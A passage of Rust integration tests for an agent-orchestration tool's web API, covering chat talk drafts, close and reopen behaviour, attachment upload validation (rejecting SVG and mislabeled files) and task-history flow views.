16906        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16907        let f = Fixture::with_repo(repo).await;
16908        let id = f.post("/api/talks", None).await.json()["id"]
16909            .as_str()
16910            .expect("id")
16911            .to_owned();
16912        let store = f.talks();
16913        let mut recovered = store.get(&id).expect("opened talk");
16914        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16915            .expect("persist pending draft without a live turn");
16916
16917        let refused = f
16918            .post(
16919                &format!("/api/talks/{id}/say"),
16920                Some(r#"{"text":"new message"}"#),
16921            )
16922            .await;
16923        assert_eq!(refused.status, 409, "{}", refused.body);
16924        assert!(refused.body.contains("resume"), "{}", refused.body);
16925        let saved = store.get(&id).expect("draft remains after refusal");
16926        assert!(saved.turns.is_empty());
16927        assert_eq!(saved.pending, "saved before restart");
16928
16929        let say_path = format!("/api/talks/{id}/say");
16930        let (first, second) = tokio::join!(
16931            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16932            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16933        );
16934        assert_eq!(first.status, 409, "{}", first.body);
16935        assert_eq!(second.status, 409, "{}", second.body);
16936        let saved = store
16937            .get(&id)
16938            .expect("draft remains after concurrent refusals");
16939        assert!(saved.turns.is_empty());
16940        assert_eq!(saved.pending, "saved before restart");
16941
16942        let resumed = f
16943            .post(&format!("/api/talks/{id}/pending/resume"), None)
16944            .await;
16945        assert_eq!(resumed.status, 202, "{}", resumed.body);
16946        let duplicate = f
16947            .post(&format!("/api/talks/{id}/pending/resume"), None)
16948            .await;
16949        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16950
16951        for _ in 0..SETTLE_STEPS {
16952            if store.get(&id).expect("talk").turns.len() == 2 {
16953                break;
16954            }
16955            tokio::time::sleep(Duration::from_millis(10)).await;
16956        }
16957        let finished = store.get(&id).expect("finished talk");
16958        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16959        assert_eq!(finished.turns[0].body, "saved before restart");
16960        assert!(finished.pending.is_empty());
16961    }
16962
16963    #[tokio::test]
16964    async fn an_image_only_recovered_draft_resumes_without_text() {
16965        let (_tmp, _repo, f) = talk_fixture().await;
16966        let id = f.post("/api/talks", None).await.json()["id"]
16967            .as_str()
16968            .expect("id")
16969            .to_owned();
16970        let uploaded = f
16971            .post_bytes(
16972                &format!("/api/talks/{id}/attachments"),
16973                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16974                PNG_BYTES,
16975            )
16976            .await;
16977        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16978        let attachment = f
16979            .talks()
16980            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16981            .expect("attachment metadata")
16982            .expect("stored attachment");
16983        let store = f.talks();
16984        let mut recovered = store.get(&id).expect("opened talk");
16985        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16986
16987        let resumed = f
16988            .post(&format!("/api/talks/{id}/pending/resume"), None)
16989            .await;
16990        assert_eq!(resumed.status, 202, "{}", resumed.body);
16991        for _ in 0..SETTLE_STEPS {
16992            if store.get(&id).expect("talk").turns.len() == 2 {
16993                break;
16994            }
16995            tokio::time::sleep(Duration::from_millis(10)).await;
16996        }
16997        let finished = store.get(&id).expect("finished talk");
16998        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16999        assert!(finished.turns[0].body.is_empty());
17000        assert_eq!(finished.turns[0].attachments.len(), 1);
17001        assert!(finished.pending_attachments.is_empty());
17002    }
17003
17004    #[tokio::test]
17005    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17006        let (_tmp, _repo, f) = talk_fixture().await;
17007        let id = f.post("/api/talks", None).await.json()["id"]
17008            .as_str()
17009            .expect("id")
17010            .to_owned();
17011        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17012        assert_eq!(closed.status, 200, "{}", closed.body);
17013        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17014            .expect("serialize closed talk");
17015        for (path, body) in [
17016            (format!("/api/talks/{id}/pending/resume"), None),
17017            (
17018                format!("/api/talks/{id}/pending/clear"),
17019                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17020            ),
17021            (
17022                format!("/api/talks/{id}/pending/edit"),
17023                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17024            ),
17025            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17026        ] {
17027            let response = f.post(&path, body).await;
17028            assert_eq!(response.status, 409, "{}", response.body);
17029        }
17030        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17031            .expect("serialize closed talk");
17032        assert_eq!(
17033            after_clear, before_clear,
17034            "clear must not rewrite a closed talk"
17035        );
17036    }
17037
17038    /// Keeps both claims observable long enough to exercise the distinction
17039    /// between one busy talk and a globally locked Chat surface.
17040    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17041
17042    #[tokio::test]
17043    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17044        let tmp = TempDir::new().expect("tempdir");
17045        let repo = tmp.path().join("repo");
17046        std::fs::create_dir_all(&repo).expect("repo dir");
17047        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17048        let f = Fixture::with_repo(repo).await;
17049        let id_a = f.post("/api/talks", None).await.json()["id"]
17050            .as_str()
17051            .unwrap()
17052            .to_owned();
17053        let id_b = f.post("/api/talks", None).await.json()["id"]
17054            .as_str()
17055            .unwrap()
17056            .to_owned();
17057
17058        let a = f
17059            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17060            .await;
17061        assert_eq!(a.status, 202, "{}", a.body);
17062        assert_eq!(a.json()["thinking"], true);
17063        let b = f
17064            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17065            .await;
17066        assert_eq!(b.status, 202, "{}", b.body);
17067        assert_eq!(b.json()["thinking"], true);
17068
17069        let listed = f.get("/api/talks").await.json();
17070        for id in [&id_a, &id_b] {
17071            let view = listed
17072                .as_array()
17073                .unwrap()
17074                .iter()
17075                .find(|talk| talk["id"] == *id)
17076                .unwrap();
17077            assert_eq!(view["thinking"], true, "{listed}");
17078        }
17079        let repeated = f
17080            .post(
17081                &format!("/api/talks/{id_a}/say"),
17082                Some(r#"{"text":"again"}"#),
17083            )
17084            .await;
17085        assert_eq!(repeated.status, 202, "{}", repeated.body);
17086        assert_eq!(repeated.json()["pending"], "again");
17087    }
17088
17089    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17090    /// few more, since real uploads are never exactly eight bytes.
17091    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17092
17093    #[tokio::test]
17094    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17095        let f = Fixture::start().await;
17096        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17097
17098        let res = f
17099            .post_bytes(
17100                &format!("/api/talks/{id}/attachments"),
17101                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17102                PNG_BYTES,
17103            )
17104            .await;
17105        assert_eq!(res.status, 201, "{}", res.body);
17106        let body = res.json();
17107        assert_eq!(body["name"], "shot.png");
17108        assert_eq!(body["mime"], "image/png");
17109        assert_eq!(body["bytes"], PNG_BYTES.len());
17110        let att_id = body["id"].as_str().expect("id").to_owned();
17111        assert_eq!(
17112            att_id.len(),
17113            32,
17114            "the id must never be a client-suppliable path: {att_id}"
17115        );
17116
17117        let got = f
17118            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17119            .await;
17120        assert_eq!(got.status, 200, "{}", got.body);
17121        assert_eq!(got.header("content-type"), Some("image/png"));
17122        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17123        assert_eq!(got.bytes, PNG_BYTES);
17124    }
17125
17126    #[tokio::test]
17127    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17128        let f = Fixture::start().await;
17129        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17130
17131        // SVG can carry a `<script>`, so it is never on the whitelist even
17132        // though it is a real IANA image type.
17133        let svg = f
17134            .post_bytes(
17135                &format!("/api/talks/{id}/attachments"),
17136                &[("Content-Type", "image/svg+xml")],
17137                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17138            )
17139            .await;
17140        assert!(
17141            (400..500).contains(&svg.status),
17142            "svg must be refused: {} {}",
17143            svg.status,
17144            svg.body
17145        );
17146        assert!(svg.body.contains("SVG"), "{}", svg.body);
17147
17148        let text = f
17149            .post_bytes(
17150                &format!("/api/talks/{id}/attachments"),
17151                &[("Content-Type", "text/plain")],
17152                b"just some text",
17153            )
17154            .await;
17155        assert!(
17156            (400..500).contains(&text.status),
17157            "an unlisted type must be refused: {} {}",
17158            text.status,
17159            text.body
17160        );
17161
17162        // The declared type is a real png, but the size check runs before
17163        // the bytes are even looked at.
17164        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17165        let big = f
17166            .post_bytes(
17167                &format!("/api/talks/{id}/attachments"),
17168                &[("Content-Type", "image/png")],
17169                &oversized,
17170            )
17171            .await;
17172        assert_eq!(
17173            big.status,
17174            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17175            "{}",
17176            big.body
17177        );
17178    }
17179
17180    #[tokio::test]
17181    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17182        let f = Fixture::start().await;
17183        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17184
17185        // A whitelisted `Content-Type`, but bytes that are not actually a
17186        // png - the declared header alone is never trusted.
17187        let res = f
17188            .post_bytes(
17189                &format!("/api/talks/{id}/attachments"),
17190                &[("Content-Type", "image/png")],
17191                b"<html>not a picture</html>",
17192            )
17193            .await;
17194        assert!((400..500).contains(&res.status), "{}", res.body);
17195    }
17196
17197    #[tokio::test]
17198    async fn an_unknown_attachment_id_is_a_404() {
17199        let f = Fixture::start().await;
17200        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17201
17202        let res = f
17203            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17204            .await;
17205        assert_eq!(res.status, 404, "{}", res.body);
17206    }
17207
17208    #[tokio::test]
17209    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17210        let f = Fixture::start().await;
17211        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17212
17213        let uploaded = f
17214            .post_bytes(
17215                &format!("/api/talks/{id}/attachments"),
17216                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17217                PNG_BYTES,
17218            )
17219            .await;
17220        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17221        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17222
17223        let res = f
17224            .post(
17225                &format!("/api/talks/{id}/say"),
17226                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17227            )
17228            .await;
17229        assert_eq!(res.status, 202, "{}", res.body);
17230        let queued = res.json();
17231        let turns = queued["turns"].as_array().expect("turns array");
17232        assert_eq!(
17233            turns.len(),
17234            1,
17235            "an empty body with an attachment is still a turn: {queued}"
17236        );
17237        assert_eq!(turns[0]["who"], "operator");
17238        assert_eq!(turns[0]["body"], "");
17239        let atts = turns[0]["attachments"]
17240            .as_array()
17241            .expect("attachments array");
17242        assert_eq!(atts.len(), 1);
17243        assert_eq!(atts[0]["id"], att_id);
17244        assert_eq!(atts[0]["mime"], "image/png");
17245
17246        // Not only in the response: `record` flushes to disk before the
17247        // agent's own turn is even spawned.
17248        let on_disk = f.talks().get(&id).expect("get");
17249        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17250        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17251    }
17252
17253    #[tokio::test]
17254    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17255        let f = Fixture::start().await;
17256        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17257
17258        let res = f
17259            .post(
17260                &format!("/api/talks/{id}/say"),
17261                Some(&format!(
17262                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17263                    "a".repeat(32)
17264                )),
17265            )
17266            .await;
17267        assert!((400..500).contains(&res.status), "{}", res.body);
17268        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17269
17270        let on_disk = f.talks().get(&id).expect("get");
17271        assert!(
17272            on_disk.turns.is_empty(),
17273            "a rejected attachment id must not partially record the turn: {:?}",
17274            on_disk.turns
17275        );
17276    }
17277
17278    #[tokio::test]
17279    async fn talk_close_makes_the_talk_refuse_further_turns() {
17280        let f = Fixture::start().await;
17281        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17282
17283        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17284        assert_eq!(closed.status, 200, "{}", closed.body);
17285        assert_eq!(closed.json()["status"], "closed");
17286
17287        // Idempotent: closing an already-closed talk is not an error.
17288        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17289        assert_eq!(closed_again.status, 200);
17290        assert_eq!(closed_again.json()["status"], "closed");
17291
17292        let said = f
17293            .post(
17294                &format!("/api/talks/{id}/say"),
17295                Some(r#"{"text":"too late"}"#),
17296            )
17297            .await;
17298        assert_eq!(said.status, 409, "{}", said.body);
17299    }
17300
17301    #[tokio::test]
17302    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17303        let f = Fixture::start().await;
17304        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17305        let store = f.talks();
17306        let mut queued = store.get(&id).expect("talk");
17307        for automatic in [false, true] {
17308            if automatic {
17309                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17310                    .expect("queue automatic input");
17311            } else {
17312                talk::queue(&mut queued, &store, "queued send", Vec::new())
17313                    .expect("queue operator input");
17314            }
17315            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17316            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17317            assert_eq!(refused.status, 409, "{}", refused.body);
17318            assert!(refused.body.contains("pending input"), "{}", refused.body);
17319            assert_eq!(
17320                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17321                before,
17322                "a close refusal must preserve the entire record"
17323            );
17324            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17325        }
17326        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17327        assert_eq!(closed.status, 200, "{}", closed.body);
17328        assert_eq!(closed.json()["status"], "closed");
17329    }
17330
17331    #[tokio::test]
17332    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17333        let (_tmp, _repo, f) = talk_fixture().await;
17334        let id = f.post("/api/talks", None).await.json()["id"]
17335            .as_str()
17336            .expect("id")
17337            .to_owned();
17338        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17339        assert_eq!(closed.status, 200, "{}", closed.body);
17340
17341        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17342        assert_eq!(reopened.status, 200, "{}", reopened.body);
17343        assert_eq!(reopened.json()["status"], "open");
17344
17345        // Idempotent: reopening an already-open talk is not an error.
17346        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17347        assert_eq!(reopened_again.status, 200);
17348        assert_eq!(reopened_again.json()["status"], "open");
17349
17350        let said = f
17351            .post(
17352                &format!("/api/talks/{id}/say"),
17353                Some(r#"{"text":"still there?"}"#),
17354            )
17355            .await;
17356        assert_eq!(
17357            said.status, 202,
17358            "a reopened talk accepts turns again: {}",
17359            said.body
17360        );
17361    }
17362
17363    #[tokio::test]
17364    async fn talk_reopen_on_an_unknown_id_is_404() {
17365        let f = Fixture::start().await;
17366        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17367        assert_eq!(res.status, 404, "{}", res.body);
17368    }
17369
17370    #[tokio::test]
17371    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17372        let f = Fixture::start().await;
17373        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17374
17375        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17376        assert_eq!(deleted.status, 204, "{}", deleted.body);
17377
17378        let after = f.get(&format!("/api/talks/{id}")).await;
17379        assert_eq!(after.status, 404, "{}", after.body);
17380
17381        let listed = f.get("/api/talks").await.json();
17382        assert!(
17383            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17384            "a deleted talk must not linger in the list: {listed}"
17385        );
17386    }
17387
17388    #[tokio::test]
17389    async fn talk_delete_on_an_unknown_id_is_404() {
17390        let f = Fixture::start().await;
17391        let res = f.delete("/api/talks/nonexistent-id").await;
17392        assert_eq!(res.status, 404, "{}", res.body);
17393    }
17394
17395    /// A task's page lists every run it ever had, in order, and says what kind
17396    /// of attempt each was - including a resume, which re-pushes the same run
17397    /// id, and a run whose record this build cannot read.
17398    #[tokio::test]
17399    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17400        let f = Fixture::start().await;
17401        let (a, b, gone) = (
17402            "20260902-140501-aaaa",
17403            "20260902-140502-bbbb",
17404            "20260902-140503-cccc",
17405        );
17406        write_run(&f.runs(), a, RunStatus::Stalled);
17407        let mut review = RunState::new(
17408            PathBuf::from("/repo/magi"),
17409            "main".to_owned(),
17410            "0123456789abcdef".to_owned(),
17411            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17412                .to_owned(),
17413            Config::default(),
17414        );
17415        review.id = b.to_owned();
17416        review.status = RunStatus::Merged;
17417        write_state(&f.runs(), &review);
17418
17419        let mut task = Task::new(
17420            "retry".to_owned(),
17421            "Do the thing".to_owned(),
17422            PathBuf::from("/repo/magi"),
17423            Source::Human,
17424        );
17425        task.start(a.to_owned());
17426        task.stall("quota");
17427        task.start(a.to_owned());
17428        task.start(b.to_owned());
17429        task.start(gone.to_owned());
17430        // This fixture models an older queue file with repeated run entries.
17431        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17432        f.queue().put(&mut task).expect("file the task");
17433
17434        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17435        assert_eq!(res.status, 200, "{}", res.body);
17436        let v = res.json();
17437        let h = v["history"].as_array().expect("history");
17438        assert_eq!(h.len(), 4, "{v}");
17439        assert_eq!(h[0]["kind"], "competition");
17440        assert_eq!(h[0]["status"], "stalled");
17441        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17442        assert_eq!(h[1]["kind"], "resume", "{v}");
17443        assert!(
17444            h[0]["outcome"]
17445                .as_str()
17446                .unwrap()
17447                .contains("unknown. Pass #2"),
17448            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17449        );
17450        assert!(
17451            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17452            "{v}"
17453        );
17454        assert!(
17455            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17456            "an unrecorded cause must not be narrated as an operator park: {v}"
17457        );
17458        assert_eq!(h[2]["kind"], "review");
17459        assert!(
17460            h[2]["description"]
17461                .as_str()
17462                .unwrap()
17463                .contains("magi/aaaa/A")
17464        );
17465        assert_eq!(h[2]["status"], "merged");
17466        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17467        assert_eq!(v["runs_unreadable"], 1);
17468        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17469        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17470        assert_eq!(nodes[4]["note"], "unreadable");
17471        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17472        assert_eq!(v["instruction"], "Do the thing");
17473        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17474
17475        // The run's own page links back to the task.
17476        let run = f.get(&format!("/api/runs/{a}")).await.json();
17477        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17478
17479        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17480    }
17481
17482    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17483        let mut s = RunState::new(
17484            PathBuf::from("/repo/magi"),
17485            "main".to_owned(),
17486            "0123456789abcdef".to_owned(),
17487            "Do it".to_owned(),
17488            Config::default(),
17489        );
17490        s.status = status;
17491        edit(&mut s);
17492        s
17493    }
17494
17495    fn flow_task(runs: &[&str]) -> Task {
17496        let mut t = Task::new(
17497            "t".to_owned(),
17498            "Do it".to_owned(),
17499            PathBuf::from("/repo/magi"),
17500            Source::Human,
17501        );
17502        for r in runs {
17503            t.start((*r).to_owned());
17504        }
17505        // Synthetic flows without RunPass records model legacy queue data.
17506        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17507        t
17508    }
17509
17510    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17511        let h = task_history(task, |id| {
17512            states
17513                .iter()
17514                .find(|(i, _)| *i == id)
17515                .and_then(|(_, s)| s.clone())
17516        });
17517        task_flow(task, &h, 5, None)
17518    }
17519
17520    #[test]
17521    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17522        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17523        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17524        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17525        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17526        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17527        let run = flow_run(RunStatus::Implementing, |s| {
17528            s.created_at = created;
17529            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17530            s.passes[0].started_at = first;
17531            s.passes[1].started_at = resumed;
17532        });
17533        let mut task = flow_task(&[RUN_X, RUN_X]);
17534        task.created_at = queued;
17535        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17536        task.status = TaskStatus::Held;
17537        task.held_at = Some(held);
17538        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17539        assert_eq!(
17540            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17541            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17542        );
17543        assert!(flow.nodes.iter().all(|n| n.time_expected));
17544        let json = serde_json::to_value(&flow).unwrap();
17545        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17546        assert_eq!(json["nodes"][2]["time_expected"], true);
17547    }
17548
17549    #[test]
17550    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17551        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17552        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17553        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17554        // These timestamps are not the start of the current status.
17555        task.held_at = Some(created);
17556        task.blocked_at = Some(created);
17557        for status in [
17558            TaskStatus::Queued,
17559            TaskStatus::Running,
17560            TaskStatus::Blocked,
17561            TaskStatus::Done,
17562            TaskStatus::Failed,
17563            TaskStatus::Parked,
17564            TaskStatus::Held,
17565        ] {
17566            task.status = status;
17567            if status == TaskStatus::Held {
17568                task.held_at = None;
17569            }
17570            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17571            assert_eq!(flow.nodes[1].started_at, Some(created));
17572            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17573            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17574            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17575            let json = serde_json::to_value(&flow).unwrap();
17576            assert!(json["nodes"][3]["started_at"].is_null());
17577            assert_eq!(json["nodes"][3]["time_expected"], true);
17578        }
17579    }
17580
17581    #[test]
17582    fn flow_context_links_do_not_expect_start_times() {
17583        let mut task = flow_task(&[]);
17584        task.source = Source::Agent {
17585            run: "chat-id".to_owned(),
17586            node: "chat".to_owned(),
17587        };
17588        let origin = followup_origin(&fu(None), |_| None, |_| None);
17589        let flow = task_flow(&task, &[], 5, Some(&origin));
17590        for node in &flow.nodes[..2] {
17591            assert!(!node.time_expected);
17592            assert_eq!(node.started_at, None);
17593        }
17594        assert!(flow.nodes[2].time_expected);
17595    }
17596
17597    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17598        crate::queue::FollowUp {
17599            run: "20260901-000000-aaaa".to_owned(),
17600            origin_task: origin_task.map(str::to_owned),
17601            pr: "https://example.com/o/r/pull/1".to_owned(),
17602            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17603                .map(str::to_owned)
17604                .to_vec(),
17605            generation: 1,
17606        }
17607    }
17608
17609    fn parent_task() -> Task {
17610        let mut p = flow_task(&[]);
17611        p.title = "Parent title".to_owned();
17612        p.status = TaskStatus::Done;
17613        p
17614    }
17615
17616    #[test]
17617    fn flow_opens_with_the_parent_task_of_a_followup() {
17618        let p = parent_task();
17619        let pid = p.id.clone();
17620        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17621        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17622        let n = &f.nodes[0];
17623        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17624        assert_eq!(
17625            n.label,
17626            format!("Follow-up of {}", crate::queue::short(&pid))
17627        );
17628        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17629        assert_eq!(n.status, Some("done"));
17630        assert_eq!(n.status_of, "task");
17631        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17632        assert_eq!(f.nodes[1].key, "start");
17633        assert_eq!(f.edges[0].from, "origin");
17634        assert_eq!(
17635            f.edges[0].label,
17636            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17637        );
17638    }
17639
17640    #[test]
17641    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17642        let o = followup_origin(
17643            &fu(Some("gone")),
17644            |_| None,
17645            |_| {
17646                Some(RunState::new(
17647                    std::path::PathBuf::from("."),
17648                    "main".to_owned(),
17649                    "0".to_owned(),
17650                    "t".to_owned(),
17651                    crate::config::Config::default(),
17652                ))
17653            },
17654        );
17655        assert!(o.parent.is_none());
17656        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17657        let n = &f.nodes[0];
17658        assert_eq!(n.status_of, "run");
17659        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17660        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17661    }
17662
17663    #[test]
17664    fn flow_followup_with_nothing_readable_has_no_link() {
17665        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17666        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17667        let n = &f.nodes[0];
17668        assert_eq!(n.href, None);
17669        assert_eq!(n.note, Some("unreadable"));
17670        assert!(!n.readable);
17671    }
17672
17673    #[test]
17674    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17675        let o = followup_origin(&fu(None), |_| None, |_| None);
17676        let mut t = flow_task(&[]);
17677        t.origin_chat = Some("c1".to_owned());
17678        let f = task_flow(&t, &[], 5, Some(&o));
17679        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17680        t.source = Source::Agent {
17681            run: "c1".to_owned(),
17682            node: crate::queue::CHAT_NODE.to_owned(),
17683        };
17684        let f = task_flow(&t, &[], 5, Some(&o));
17685        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17686        assert_eq!(
17687            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17688            ("chat", "origin")
17689        );
17690    }
17691
17692    #[test]
17693    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17694        let mut p = parent_task();
17695        p.id = "a b/c".to_owned();
17696        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17697        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17698    }
17699
17700    #[test]
17701    fn flow_opens_with_the_chat_that_queued_the_task() {
17702        let mut t = flow_task(&[]);
17703        t.source = Source::Agent {
17704            run: "a b/c".to_owned(),
17705            node: crate::queue::CHAT_NODE.to_owned(),
17706        };
17707        t.issue = Some(crate::queue::IssueRef {
17708            number: 3,
17709            repo: "o/r".into(),
17710        });
17711        let view = TaskView::from(t.clone());
17712        assert!(view.source_label.contains("issue #3"));
17713        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17714        let f = flow_for(&t, &[]);
17715        assert_eq!(f.nodes[0].key, "chat");
17716        assert_eq!(f.nodes[0].kind, "chat");
17717        assert_eq!(
17718            f.nodes[0].label,
17719            format!("Chat {}", crate::queue::short("a b/c"))
17720        );
17721        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17722        assert_eq!(f.nodes[1].key, "start");
17723        assert_eq!(
17724            f.edges[0],
17725            FlowEdge {
17726                from: "chat".to_owned(),
17727                to: "start".to_owned(),
17728                label: "queued from chat".to_owned(),
17729                attempt: AttemptCost::None,
17730            }
17731        );
17732    }
17733
17734    #[test]
17735    fn flow_has_no_chat_box_for_other_sources() {
17736        for source in [
17737            Source::Human,
17738            Source::Issue {
17739                number: 3,
17740                repo: "o/r".to_owned(),
17741            },
17742            Source::Agent {
17743                run: "20260904-014455-ab12".to_owned(),
17744                node: "implement".to_owned(),
17745            },
17746        ] {
17747            let mut t = flow_task(&[]);
17748            t.source = source;
17749            let f = flow_for(&t, &[]);
17750            assert_eq!(f.nodes[0].key, "start");
17751            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17752            assert!(f.edges.iter().all(|e| e.from != "chat"));
17753        }
17754    }
17755
17756    const FA: &str = "20260902-140501-aaaa";
17757    const FB: &str = "20260902-140502-bbbb";
17758
17759    #[test]
